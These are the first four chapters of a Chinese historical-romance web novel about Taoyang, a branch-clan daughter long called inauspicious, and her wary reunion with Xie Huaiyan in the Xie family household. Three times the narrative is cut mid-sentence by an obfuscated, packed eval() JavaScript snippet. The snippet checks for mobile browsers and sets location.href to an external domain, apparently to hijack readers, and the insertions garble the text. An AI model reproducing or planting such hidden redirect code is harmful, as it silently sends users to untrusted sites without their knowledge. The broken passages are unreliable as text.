《折明月》 1. 第 1 章 春雨绵绵,自晨起就沙沙而落,直到午后也未歇,正是大地回暖,春困时节,府上的夫人姑娘们都在自个的院里小憩。 未时正,有婢女撑伞匆匆来到主院,见夫人已歇过困,正倚在迎枕上出神,脚步有意放轻却还是显得急切,上前递出一份以乌檀木精制而成的帖子,欢喜道:“夫人,淮阳谢氏的人刚送来的。” 正倚在矮榻上怔神的妇人闻言美眸放大,唇角不自觉勾起,抬手接过,边翻开精致的帖子边问:“来送请帖的人呢?” 婢女回:“奴婢留了人在正堂里用茶,还给了赏银,这会儿已经回了。” 妇人是府中主母,出身竹陵桓氏,闻言眉目含笑,倒是满意,她吩咐:“快去把桃漾和阿梵都唤来。” 一刻钟后,府中的六姑娘谢玉梵一身碧色连枝对襟长裙在桓馥面前问安,随后四下望了眼,问:“五姐姐呢?母亲没让人唤她来么?”五姑娘谢桃漾居住的院子比谢玉梵的居所离得桓馥还要再近些。 谢玉梵话音落,门前走进一嬷嬷,对桓馥行礼:“夫人,五姑娘——她自夫人院中用过午膳就出门了,还未回呢。” 桓馥闻言不禁挑眉,眸中露出惊疑,往窗外瞅了一眼:“这落着雨的天,她出去做什么了?”这嬷嬷面色迟疑,低声回道:“五姑娘是收到了一封书信——” …… 玉安长街最南面的翠鸳湖畔。 落着雨的天,湖边人影稀疏,只偶尔经过几个漫步雨中的闲散公子,如今正是四月中,杨柳依依,一棵古老的柳树下,女子着烟紫色锦裙,身形婀娜,发间只一支玉簪,上面站了只活灵活现的小蜻蜓。 她手中撑着把绘竹油纸伞,和面前的男子隔了几步距离在相谈。 “贸然往府中送信,让五妹妹出府来相见,是我冒昧了。”男子面色讪讪,随后低声加了句:“实在是外出办事,恰巧经过阳夏,就想着,来看上五妹妹一眼。” 也好解了苦相思。 这句话他到底是没有说出口。 桃漾见他神色绷得紧,似是以为她生气了,对他莞尔一笑:“恒哥哥外出办什么事,可还顺利么?”桓恒闻言对她连连点头:“事已办完,见了五妹妹就要往竹陵郡赶。” 烟雨朦胧,少年声调清朗而内敛,隔着细细雨声,在湖边回响,两人早在去岁重阳就已定下亲事,只不过成亲的日子还未敲定下来,桓氏一族世代生活在竹陵郡,离得这里有两三日的脚程。 算下来,自年关时各世家走动两人见过一面外,到今日已有足足四月未见了。 “我写的书信,桃漾妹妹可收到了么?” 桃漾颔首:“昨个才托人送去竹陵郡,不成想今日就见到了。”两人在湖边待了有小半个时辰,两人之间由撑着两把伞换成了一把,桃漾知晓她母亲平日里午憩的习惯,不敢在外久待,与桓恒道:“天色不早,恒哥哥快些去赶路,天暗之前还能到驿站歇歇脚。” 桓恒有些不舍,眸光直直的看着她,随后又朗朗一笑,带着期许问她:“淮阳谢氏老夫人下月过大寿,桃漾妹妹可也要去么?”如今世家势大,豫州又当属淮阳谢氏最为有势力,豫州的各个世家大族也皆有来往,谢老夫人过六十整寿,自然会邀竹陵郡桓氏一族。 桃漾回到府中时天幕上的雨丝雾唧唧的,她刚走进府门,就知母亲命人四下里去找她,来到正屋内见过礼后,她坐在桓馥身侧老老实实的将她去了何处一一告知:“恒哥哥书信送的急,我也跟着急,这才忘了跟母亲说上一声。” 桓恒是桃漾母亲桓馥的母家侄子,也算是桓馥看着长大的,桃漾又向来乖巧懂事,闻言她也未多说,只问了桃漾几句桓恒此次为何而来,最后叹上一声:“这孩子,既然来了阳夏,如何就不来府上走一趟,我也已有数月未见过他了。” 桃漾为他说话:“恒哥哥路赶得急,想是怕母亲留他在府上多待。” 一直待在桓馥身侧的谢玉梵一边吃着红艳艳的樱桃一边搭话:“赶路急,还有空闲来见你呢。”她这般直言,桓馥看了她一眼,桃漾垂眸,脸颊上染了几许绯红,如院外开的正盛的桃花瓣。 “淮阳谢氏来了帖子,谢老夫人过寿,让咱们都过去呢,”桓馥面上染了笑:“老夫人的寿辰在五月底,许是年纪大了爱热闹,让咱们赶在端午节前就过去,也好一大家子人一起过端午。” 他们阳夏谢氏,只是淮阳谢氏的一个分支,离了淮阳百余年,如今淮阳谢氏还能念着他们,已是极为不容易,往上追溯,他们这一支乃是当年的谢氏本家庶出六子在此定居,这之间与淮阳谢氏也曾断过来往,不过自桃漾父亲这一代来往又逐渐密了些。 是以,桓馥收到谢氏本家送来的帖子,心里是止不住的乐。 谢玉梵去过谢氏本家几回,对此也很是兴奋,听到母亲这样说,沉浸在自己的欢喜中:“离端午还有半月时日,母亲,明日让成衣铺的人来,我想要几件新衣裳。”她要完了衣服要首饰。 桓馥都一一应下,见桃漾面色温和,却并不言语,桓馥眉心微抬,朝桃漾伸出手来,温声问她:“漾儿是不愿去么?”这些年与淮阳谢氏本家往来,桃漾从未跟桓馥一道去过。 早些年她年纪尚小,桓馥也不勉强她,只是如今她已及笄,也是时候跟她去谢氏本家走动走动。 桓馥正欲开口相劝,桃漾抬眸对她莞尔:“母亲,我去。”她应着桓馥:“明儿我和妹妹一道陪母亲挑些首饰去。” —— 入夜,窗外雨声渐歇。 桃漾沐浴后懒懒的倚在迎枕上,一双乌眸明亮,歪头瞧着手中的一块‘琥珀’,状为圆形,色泽艳丽,是琥珀中最为贵重的‘血琥珀’,上面被凿了孔,配以流苏挂饰。 极为精致惹人。 她的贴身婢女杏枝在屋内点过梨香后,回头一笑:“姑娘都瞧了好些时候了,也不嫌眼酸。”她知这是今儿桓家公子送给姑娘的,姑娘自是欢喜,琥珀乃贵重之物,时下只有皇室与各大世家能得上一些。 桃漾被她说了这么一句,索性也不看了,随手塞在枕下,睨杏枝一眼,笑道:“嘴皮子严些,别在夫人跟前提。”杏枝笑应下,给她将香纱罗帐落下后,端着托盘走了出去。 桃漾收了桓恒的礼,自是要给他回礼的。 这半年时日里向来如此。 如今是四月中,自阳夏坐车至淮阳仅有一日的脚程,桓馥打算的是五月初二日自阳夏出发,这些时日里桃漾就为桓恒绣了只香囊,那日见他,他身上佩戴的还是之前她送的那只。 想来是整日里佩戴着,都有些显旧了。 待至出发前往淮阳的前一日,夜里桃漾睡得有些不安稳,还做了些噩梦,额间沁出好些的细汗,躺在枕上缓了许久才又入睡,待到第二日坐上马车后,桓馥一眼就瞧出她白皙肌肤上衬出的眼下乌青,关切道:“漾儿昨夜里没睡好么?” 桃漾坐在桓馥身侧,乖乖点了头:“许是天气暖了起来,屋内有些闷。”她随口说了句,桓馥也就叮嘱几句,说回头让人把她居住的厢房修缮一下。 此时坐在马车内的还有阳夏谢氏家主谢澜和次女谢玉梵,桓馥膝下还有一子,他一人坐辆马车,和行李为伴,此次前往谢氏本家,是要住上一段时日的,要带的东西自是不会少。 谢澜原本是出了远门,五月中方回的,收到了夫人给的急信,昨个夜里就急急的赶了回来,今儿一早才见到他的两个女儿,一番言语后,他自怀中取出一块天青色绢帕,眉目含笑递在两个女儿面前:“爹爹此去茺州,给你们带回的礼物。” 一方绢帕中,包裹着的是两块大小一般的琥珀。 只是,两块琥珀的颜色并不尽相同。 桓馥瞧了一眼,面色有些不大好看,瞅了谢澜一眼。 谢澜面色平常,将一颗天空蓝的琥珀递在谢玉梵手中,温声道:“阿梵衬这个颜色,这个给阿梵罢。”随后,将手中剩余的一颗黄色琥珀递在了桃漾手中。 琥珀分品种,以红色上佳,其次为天空蓝,再者为黄。 他对桃漾道:“都是一样的。” 这句话说出,桓馥的面色就更为难看了。 给两个女儿带不同的礼物也就罢了,何必再诓桃漾呢? 桓馥正不悦着,却见桃漾接过谢澜递来的琥珀,黑眸明亮,带着欢喜,对谢澜道:“谢谢爹爹,我很喜欢。”谢澜见她神色欢愉,满意的对她点点头,几人在马车里一路相谈。 马车一路走官道,至淮阳已是酉时,谢澜之前先去过书信,来迎他们的是谢氏的管事以及谢氏家主夫人身边的一位嬷嬷,下了马车后,桓馥眉眼带笑,与嬷嬷说着些体面话。 随后由这位嬷嬷引着去谢老夫人的存玉堂请安。 暮春时节,晚霞漫天,染亮谢氏高门,由正门走进,入目一景一物皆堆金砌银,过照壁,踏游廊,放眼望去,雕梁画栋,无有尽头,奇花异草,假山荷塘。 甚至是高山流水。 都尽在这敞阔的府宅之内。 谢玉梵和桃漾并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997155|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排而行,压低了声得意道:“我没骗你吧?淮阳谢氏是豫州第一大士族,只这一处宅院都快抵上咱们整个阳夏那般大了。”桃漾看她一眼,低声回:“妹妹说的是,走在这里当真是要迷路了。” 桃漾是在五岁那年来的谢氏本家,倒是还有些印象。 约莫着走了有一炷香的时辰,前面引路的谭嬷嬷侧首道:“前面就是存玉堂了,老夫人收到了书信,已命人备了宴席候着你们。”谭嬷嬷虽为仆妇,衣着发饰惧是奢华。 比之普通世家的妇人还要鲜亮体面。 桓馥对她颔首。 来到谢老夫人的院中,请安寒暄一番自不必说。 待用过晚膳,谢老夫人就命人带他们去居住的地方,离得老夫人的院落并不远,只须一刻钟就能走到,是一座清雅富丽的两进小院,谢澜与桓馥居主屋,桃漾和谢玉梵各居东西厢房。 幼子谢敛只能去住后罩房。 他很不满:“娘!淮阳谢氏的东西厢房布置奢华且宽敞,五姐姐和六姐姐应该居一间的!”他气冲冲的说,没有人理会他,只好让小厮带着他的行李去了后罩房。 赶了一日的路,都已疲惫,早早沐浴歇下。 待到第二日晨起,谢澜带着谢敛去府中各房处走动,桓馥则带着桃漾和谢玉梵去了谢老夫人处请安。 与昨日傍晚时谢老夫人屋中略显清冷不同,今儿一早这院中却是热闹的不行,谢氏本家一直都未分家,几代人住在一起,儿孙满堂,膝下承欢。 桃漾看到谢老夫人左手边排排坐了四位姑娘,皆是端庄知礼,温婉可人。 她们并非谢氏本家人,而是与桃漾同样的出自谢氏分支,谢氏一族延绵数百年,分支众多,早在十几年前,谢老夫人就从各个分支里挑选样貌、品性俱佳的小女郎,带到谢氏本家来教养。 一是为了谢氏分支不会就此落魄。 二来士族间多有联姻,也是为了巩固各世家间的往来。 这于谢氏本家与分支来说,是件两全其美之事,这四位姑娘更是谢氏其他分支的女子皆艳羡不已的。 在谢老夫人的存玉堂待上有半个时辰后,年轻的姑娘们吃吃糕点果子说说笑,也确实是无趣,谢老夫人笑着发话:“都别拘着,”她神色慈和,抬手指了指右侧的一位着水青色锦裙的小娘子:“阿嫣,去,带你两位姐姐去园子里逛逛。” 被支配的小娘子谢嫣不过刚及笄的年纪,面上尤显稚嫩,听到祖母的令,乖乖的应下,许是慢热的性子,还又拉上了一位,陪着她一起带着桃漾和谢玉梵去逛园子。 正是暮春时节,微风拂过,处处是花草香,谢嫣黑眸转了转,问桃漾和谢玉梵:“两位姐姐是想去芍药园还是牡丹园?”谢玉梵脱口而出就要回‘牡丹园’,可又想起母亲的叮嘱,如今是在谢氏本家,一言一行皆要深思熟虑,不可大意。 她侧眸看了看桃漾,桃漾对谢嫣莞尔,回她:“这个时节芍药开的正好,嫣儿妹妹不如带我们去芍药园里瞧瞧。”谢嫣闻言面露喜色,连连点头:“好,咱们就去芍药园。” 自从老夫人的存玉堂出来后,谢嫣和被她拉来一道游园的谢沅都有意靠着石子小径的左侧行走,桃漾侧眸看上一眼,本是与她们并肩而行,脚下的步子逐渐慢下来,与她们拉开了些距离。 她神色清淡,并不在意,观赏着暮春的盛景。 谢嫣时不时的回身来看她,眸光中带着些许不解。 待要自一片海棠林中经过时,不远处传来阵阵言语声。 谢嫣秀眉轻抬,浅浅笑了下:“是二哥哥。”她说着,脚下步子欣喜抬起,转过几株海棠树,清亮的嗓音便唤了起来:“二哥哥——”谢沅和谢玉梵也皆跟着她的脚步走。 桃漾在听到那句‘二哥哥’后,抬起的步子又落下,隔着几株海棠朦胧的瞧了眼,随后,转身走进一旁的八角古亭内。 被唤了的男子侧首,黑眸落在谢嫣稚嫩面容上,对她轻笑:“又要带人去你的芍药园么?”他嗓音清润,神色也极为温和,如沐春风。谢嫣被他说中,也有几分羞:“二哥哥又在打趣我。” 谢嫣最喜芍药,府中的芍药园便是她去岁生辰时母亲送她的礼物。 谢怀砚薄唇勾笑,给她将发间沾染的一片海棠花瓣捻起,随后眼眸微抬,越过谢嫣的发顶停在几株海棠树后,问谢嫣:“亭子里坐着的是谁?”谢嫣回身才意识到桃漾没跟上来。 她未有讶异,见二哥哥似是很感兴趣,就唤:“桃漾姐姐,过来啊——” 2. 第 2 章 谢嫣这么一喊,所有人的目光都朝着海棠花林后望过去,尤其是与谢怀砚同行的几位世家公子。 桃漾本是躲了起来。 闻言只好起身往这边来。 她不喜素色,平日里的衣衫多为湘妃、艾青以及栀黄,此次前来淮阳谢氏却一改往日着了件藕荷色衣裙,素净的如同夏日清风拂过梨花林,只是海棠花鲜艳欲滴,素色衣衫反倒是惹了人眼。 桃漾眼眸低垂,刚走过第一棵海棠花树时,有位世家公子就挑起了眉。 他压低声道:“这位姑娘平日里怎未见过?” 有人与他回:“这是阳夏谢氏的五姑娘,你自然是未见过。” “阳夏谢氏?以她的样貌,当年怎未收在老夫人膝下教养着?” 另一个低咳:“本是收了的,第一个就被谢老夫人给选中,当时还留了她就住在谢老夫人院中,可刚出了屋门,就冲撞了贵人,被说‘晦气’,谢老夫人一时心有顾虑,就让她走了。” “还让她日后都要避着些那人——” 话至此,听的人再愚钝也是懂了,抬眸偷偷嘘了谢怀砚一眼。 暮春的风似暖又寒,卷起片片海棠花瓣,裹挟着桃漾而来,她的发间,衣裙间,都染上了几许红瓣,少女婀娜,肌肤白净,如踏莲而来,澄澈美好,海棠花在她发间亦沾染了几分清雅,吐纳芬芳。 如水波漾起。 她走上前,并未抬眸,只屈身见礼:“桃漾见过二公子。” 谢怀砚垂眸淡淡打量她一眼,神色无常,随后应了一声,转身和好友一同离开此处。 桃漾神色清淡,美目抬起,面上不显任何情绪,直到那道身影走远,隐于层层叠叠的枝叶之间,桃漾蜷在衣袖中握紧的指节才缓缓松开,心中紧绷的弦舒展,缓缓吐出了一口气。 自五岁那年开始,桃漾身上就背负了‘晦气’的恶名。 一如适才谢嫣与谢沅对她避之不及,这些年外人的目光与言语她早已不在意,可她依旧畏惧那个人。 —— 琼华园。 高山流水,群花吐芬。 金丝楠木桌上,金银杯箸,觥筹交错,世家公子们相谈甚欢,举杯邀明月,吟诗作赋,好不乐哉。 淮阳谢氏如今共有四房,二房三房皆在建康为官,家主谢蕴早几年自建康致仕回京,掌管谢氏一族,他虽不再过问朝中事,可他儿谢怀砚却已任豫州刺史两载。 掌管整个豫州的兵马大权。 坊间茶余饭后常言‘一朝两姓’,谢氏二房三房在建康官场,谢氏二公子手握豫州生杀大权,这豫州早已是谢氏的天下。 酒酣曲尽,袁氏三公子的目光落在为首之人修长指节间,他执扇而笑,道:“听闻这‘血琥珀’国库中共有六枚,乃是千年松树脂所化而成,又历经了成千上万年才得以形成,怀砚兄手中就有两枚。” 谢怀砚闻言垂眸看了眼正被他玩弄在指节间的血琥珀,薄唇勾笑:“不过是个小玩意,袁兄若是喜欢,只管拿去。”他修长指节抬起,两枚澄澈无暇的血红琥珀就被丢至袁三公子怀中。 袁三自是欣喜,起身致意:“多谢怀砚兄。” 直至晚霞消散,琼华园内烛火通明,这场宴席方歇。在座的各位除却府上的几位公子,皆是其他士族前来访友的贵客,吃酒到这个时候,自然是要再寻些其他乐子。 有身着明黄素衣的侍女手端托盘上前,托盘内是一方白玉小碟,里面盛放着五石散。 此物深得皇室与士族钟爱,世家公子中多有沾染,玉碟被放至金丝楠木桌,有几位公子似是已等不及,直接服用入腹。片刻后,袁氏三公子与陈氏五公子相约一道上后山去‘行散’。 谢氏本家的几位公子院内皆有侍妾,此物亦是壮/阳之物,便回了各自院中消散。 谢怀砚偶尔服之,对此物说不上是喜爱,不过是消遣的乐子。 他垂眸看了片刻,今日倒是用了些。 回到他居住的墨园,径直入了书房,他院中能近前侍奉的只有两名随侍与两名婢女,冬月瞧见他进了屋,就端了壶清茶欲掀帘而入去侍奉,却被随侍空谷上前拦下:“冬月姐姐给我吧。” 他抬手欲接过冬月手中的托盘,被冬月躲开,睨他一眼:“给你作甚?我去端给公子。”空谷便提醒她:“公子服散了。”冬月皱了眉,将手中托盘推至空谷怀中,转身去了耳房。 谢怀砚用了冷水沐浴来行散。 半个时辰后,他身披月白长袍,衣襟微敞,倚坐在书案前的檀木椅之上,墨发散于身后,许是五石散还未尽消,眼尾透出淡淡绯红,在明黄烛火下,更显样貌昳丽。 贵人骨,公子如玉。 瑞兽铜炉中泛起点点梅香,他冷白指腹间捻着一片半红半粉的海棠花瓣。 那双黑如深渊的眸子中逐渐透出冷寒。 —— 后来在芍药园,谢嫣没再特意避开桃漾远些。 她虽对‘晦气之人’有些忌讳,可她瞧着桃漾举止大方,样貌也并非丑陋不堪,实在是对她厌恶不起来,况且,桃漾与她说话时眉眼间总是含着清浅的笑,如阳春三月里的风,让人觉得舒畅。 谢嫣觉得桃漾很好。 最初有意避开,是时下‘玄学’与‘佛学’兴盛,晦气之人多是命中带煞,她近来身体又有些弱,怕被桃漾给冲撞了。 后来,二哥哥都没再说什么,她也不想特意冷待人,显得她很坏一样。 入夜,桃漾自桓馥那里回到自己的屋内,有些疲惫的掩手打了个小哈欠,杏枝见状, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997156|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与她道:“热水备好了,姑娘可要沐浴么?”桃漾对她点点头,卸了首饰径直往净室里去。 轻衣落,水花起。 桃漾半阖眼眸倚在桶壁,任凭杏枝在身后侍奉。 杏枝是头一回跟着来淮阳谢氏本家,今儿她也算是跟着桃漾长了颇多见识,此次来淮阳谢氏,桃漾只带了她一个来,她有再多的欢喜也没人去说,憋得怪难受的。 桃漾依旧闭眸,嗓音轻轻的,问她:“今儿你和九姑娘的婢女都去了哪儿?”她闭眸听着杏枝在身后叭叭说个不停,偶尔会浅笑下,觉得杏枝说的极为有趣。 说到最后,杏枝忍不住感慨:“谢氏本家真是太豪奢富丽了,我做梦都不敢想有这样的地方,姑娘你说,皇宫会比这里更繁华么?”桃漾先是回她:“再富丽的地方待久了怕也会腻,”她微微侧首,又严肃道:“在这里说话要当心,莫再拿谢氏与皇宫作比。” 杏枝忙认真起来,连连点头。 待桃漾沐浴后更衣,回到卧榻上,吩咐杏枝:“去把妆奁前的梨木盒取来。”梨木盒里装着的是她父亲谢澜送给她的那枚黄色玛瑙石,她自盒内取出递给杏枝:“我记得明儿是你的生辰,如今在这里也没什么礼物可送给你,这枚玛瑙你可喜欢么?” 杏枝闻言颇为受宠若惊,在她心里,玛瑙可是上好的东西,虽然她不懂得品鉴,也不知这红的黄的蓝的有何区别,可瞧着这色泽质地定是好物,她有些不敢收。 桃漾塞进她手中:“收好了,”她眉目温和,莞尔道:“去点香吧,我困了。”杏枝战战兢兢给她落了床帐,心中滋味万千,暗自懊恼,适才她是不是说错话了。 不该在姑娘面前说起谢氏本家的婢女是如何的体面。 天上明月洒落清辉,透过枝叶折进窗牖,已是深夜子时,桃漾睡得不安稳,似梦似醒,清丽眉眼皱成一团,到最后,却是猛然惊醒过来,躺在枕上再无半分睡意。 她这些年未再来过淮阳谢氏,是怕见到他,更怕会再次冒犯到他。 士族名门,最忌邪秽。 她早就给自己做了一番心理建设。 可纵使她再让自己平静,听到谢嫣唤那声‘二哥哥’,她站在他面前时,依旧如同面对无边黑夜般生畏又紧张。 虽已时隔多年,桃漾依旧记得那个面容清冷的矜傲少年,高高在上,俾你傲物。那时尚年少,她或许是真的冲撞了他,惹了他不悦,可如今,他已成年,身躯健硕,她再是不祥怕是也冲撞不了他。 他身份贵重,气度亦沉稳,还会如年少时一般不容她么? 若贵人只是嫌她碍眼,她见了他躲开就是。 可今日,他意味不明的看她一眼,又是何意呢? 桃漾想不明白,清澈澈的眸子盯着帐顶,兀自神游。 3. 第 3 章 此次桃漾前来淮阳,是有她的私心。 她想摘下自年少时起就有的‘恶名’,过好自己的日子。 这几年她的亲事一直不顺,如今虽与竹陵桓氏定下亲事,可婚期却迟迟未定,这其中缘由,她心中如明镜,若只是一味地等待,只会尽失所有,她总得为自己做些打算。 —— 端午节前一日,收到谢氏本家递帖子的各分支皆来到淮阳。 这几个分支中的妇人,当属桓馥最为体面。 谢澜此人相貌称不上好,他们阳夏谢氏几房也皆资质平庸,都没什么大的造化,谢澜也只是在阳夏任九品主簿一职,往前追溯三十余年,与淮阳谢氏本家都是断了联系的,就连谢澜本人也从未想过。 他能娶到竹陵桓氏一族出身的嫡女。 自桓馥嫁给他后,阳夏谢氏也跟着水涨船高,一边受着竹陵桓氏的关照,淮阳谢氏这边对他也多为看重,是以,他们阳夏谢氏这几年才逐渐兴盛起来。 竹陵桓氏虽比不得淮阳谢氏底蕴深厚,却也是经久不衰的门阀士族,以桓馥的身份不止在谢氏几房妇人中有脸面,在谢老夫人跟前也是足够被看重的。 这几日桓馥时常陪在谢老夫人身边,有时见谢老夫人心情愉悦,也会明里暗里的在她跟前提上几句桃漾,当年那件糟心窝子的事桓馥想起来就气不顺,可奈何又说不得。 自阳夏来淮阳那日的马车内,桃漾困的倚在车壁上小憩了会儿,还喃喃的呓语了几句,桓馥听的最清晰的那句便是:“娘,怎样才能让他们不要再说我晦气——我没有——没有——” 桓馥当时听着也是心痛,身为母亲,自是要为她做打算。 桃漾与桓恒的亲事已定下,不出岔子很快就要嫁进桓氏一族,她可不愿桃漾日后一直背负着‘晦气’的名头,这让她日后在夫家如何能过的体面?世家大族中龌龊多,难免不会再被人以此为由欺辱。 她是想着,当年的事,既是因那人而起。 不如让那人再开口说上句别的。 或是,让谢老夫人帮帮桃漾。 端午这日,在玉兰园过节设宴。 谢氏二房三房已与昨日自建康赶回淮阳,陪着谢老夫人一道热闹,这玉兰园里除却谢氏本家中人,剩余的便是几个分支,左右不过谢氏的一大家子人。 倒也是其乐融融。 端午宴张罗的丰盛,还请了戏台子在园中热闹,酒酣饭足,用了各种口味的粽子,有五六岁大的孩童贪食,一连吃了两三个,热热闹闹一番后,谢老夫人的目光搜寻了好大一会儿。 才看到坐于宴席最左侧的桃漾。 她慈和的对着桃漾笑:“真是老了不中用了,漾丫头,过来。”她抬手朝桃漾招了招手。 这一大桌子人面上的笑意都微有凝滞,带着狐疑静默不语,目光都落在谢老夫人处。 桃漾起身来到谢老夫人身前,乖巧见礼,谢老夫人让她在身边坐下,握着她的手将她打量:“漾丫头自幼就生的好,听你母亲说,正与竹陵桓氏的四郎君商议大婚日呢?” 桃漾垂下眼眸,众目睽睽下,面容羞涩,对谢老夫人点了点头。 谢老夫人抬手自手腕间取下一只质地细腻洁白如凝脂的羊脂玉玉镯,未等桃漾反应,就已戴在了她纤细腕间,桃漾神色不安,被谢老夫人按住手腕,笑道:“这是祖母给你添的嫁妆。” 桃漾已经十一年未来过谢氏本家了。 当年那件事也早已在淮阳消散。 只是八仙桌前在座的几位夫人以及府中的姑娘多少都是知道些的。这羊脂玉玉镯跟了谢老夫人几十年,向来珍视,如今谢老夫人忽然变了态度,还把这镯子给了桃漾。 谁又能不明白是何意呢。 谢氏家主谢蕴的夫人王氏抬眸打量了眼桃漾。 昨个谢怀砚去她那里问安时,她就与他说过:“前段时日我身体不好,你祖母的寿宴就交到了四房手中去筹备,”谢夫人面露不满:“她是知道那丫头的命格冲撞你的,怎还把她给请来了。” “既来了咱们淮阳就是客,她母亲又出身竹陵桓氏,也不好说什么,你这些日子离得她远些。” 谢怀砚坐于椅上,用了口白玉盏中清茶,声线平淡:“她一个姑娘家如何能冲撞了我,早已是年少时的事。”谢夫人不以为意:“这种事怎可大意,净空大师早就说过,轻则影响运,重则还能伤身。” 此时,谢夫人亦面色柔和的与桃漾说了几句话。 桃漾施礼,神色谦谨乖顺,谢过谢老夫人,又对谢夫人莞尔。 宴席已结束,玉兰园里有聚在一处玩投壶的,也有在手臂上缠绕五彩丝线,以祈求平安康健的,谢怀砚在不远处的石桌前姿态闲散的指导两位小郎君做纸鸢,清风拂过,他漫不经心抬眸朝八仙桌处望了眼。 在玉兰园再待了会儿,谢嫣主动上前来扯住桃漾的手,目含笑意:“桃漾姐姐,我们刚商量了个乐子,曲水流觞,以玉盘替杯盏,粽子停在谁面前,就要粽子的主人来出题。” 昨个午后,府中的妇人姑娘们都各自包了两只粽子,图个吉利,适才膳房里说还剩了好些,就有人提出了这么个玩法,桃漾对谢嫣颔首,随着她们去了。 谢老夫人午后要休憩,玉兰园这里很快也就散了,谢怀砚另设了一桌酒席给他的两位叔伯接风洗尘,琼华园内,谢氏二爷一连用了几盏酒水,不由叹息:“自今岁以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997157|161679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,高坐明台那位便有意行科举制。” 谢氏三爷放下杯盏看他一眼:“无论如何折腾,这官员选拔之权始终在士族手中,何须为此感叹。” 他们二人近几年来政见常有不合,谢怀砚抬手让水榭里正作《拂舞》的舞娘们退下,举杯与谢二爷谢三爷共饮,神色平和:“陛下既有此心,二位叔伯不如顺了他的意。” “我在豫州招揽了不少有学之士,此次可与二叔三叔同往建康。” 几人饮酒,直至申时方散。 谢怀砚离开水榭回他的墨园,行至莲池假山后耳边传来阵阵笑语声,他眉心微凝,转了步子朝着莲池边行去,此时,莲池边正围坐了一圈碧玉年华的少女,玩的正不亦乐乎。 谢嫣用了几盏酒,说话时前言不搭后语,刚作了一句有情人终成眷侣的诗,随后便又是一句悼念亡夫的词,谢沅远远的瞧见谢怀砚朝这边走过来,急忙扯了扯谢嫣的衣袖。 “二哥哥,你也来陪我们作诗么?” 谢怀砚敛眸瞧了眼玉盘水中流,薄唇勾笑:“你们玩便是,我来讨颗粽子吃。”在一侧负责往玉盘中搁置粽子的婢女急忙走近,行礼:“二公子要食何口味的粽子,奴婢新包了给二公子送去。” 谢怀砚的目光依旧是在流水中,申时的日光渐弱,他的面庞半明半昧,瞧不出是何情绪,片刻,他道:“不用。”他抬手往水中指了指:“就那颗,送去墨园。” 桃漾看着水中玉盘上他指的那颗粽子,心间一紧。 “这颗粽子好像是桃漾姐姐包的。”不知是谁说了一句。 桃漾垂眸闭了闭眼。 随后起身,依旧未抬眸看他,行礼道:“桃漾手艺不佳,怕这颗粽子不合二公子口味——”她的话被谢怀砚打断,他眸光温润,在她面上扫过,似是有些漫不经心:“原来是桃漾妹妹包的,尝尝何妨。” 桃漾不知他是何意,抬起眸来。 当年他让她避他而行,让她不可直视他的眼眸。 此时两双眸子相对,一个清亮,一个深邃。 桃漾并未在他眸中再看到当年的寒光,这一刻她终于敢想,经年已去,在她心上留下长刺的人怕是早已忘记,于他而言,当年不过说了句无关紧要的话,真正该记住的人,是她。 谢怀砚回到墨园时,下人已将那颗粽子送去,就搁在他书房的金丝楠木书案上。 他撩袍落座,因饮了酒而有些潋滟的眸子盯着那颗粽子瞧了片刻,阳夏虽隶属于淮阳,可阳夏人的包粽手法却略有不同,六棱五面双彩绳,谢怀砚唇角勾出一抹淡笑。 修长指节捻起甜粽,停在鼻息间。 是甜粽。 莲子的清香。 4. 第 4 章 桃漾也用了少许的果子酒,回到他们居住的韶院时,她去了主屋给桓馥请安,少待片刻后,就要回她的西厢房里去歇着,刚抬步踏进抄手游廊,就与谢玉梵迎面对上。 谢玉梵看了杏枝一眼,示意她退下,随后打量着桃漾,将眸光落在桃漾手腕间,语气愤愤不平:“我说这么些年你都不愿来淮阳谢氏,这回怎么就改了主意。” “原不是为了见恒表哥,是为了你那自幼时起就有的‘煞星命格’。” 桃漾神色温和,对她轻笑:“妹妹在说什么,我只是不愿母亲伤怀。” 谢玉梵‘嘁’笑了声,上前一步,丝毫不客气:“那日在马车里你根本就没睡着,什么梦呓,不过是你故意说给母亲听的。” “母亲心疼你,自是要为你打算,如今你得偿所愿了,有谢老夫人主动亲近你,日后自是谁也不敢再提当年的事,你嫁入竹陵桓氏也会被人高看一眼。”谢玉梵斩钉截铁的说着,神色极为气恼。 桃漾看她一眼,神色不变:“妹妹吃醉酒了,适才给母亲请安时母亲还问起妹妹,妹妹快去罢。” 她抬步就走,谢玉梵对她一连哼了好几声。 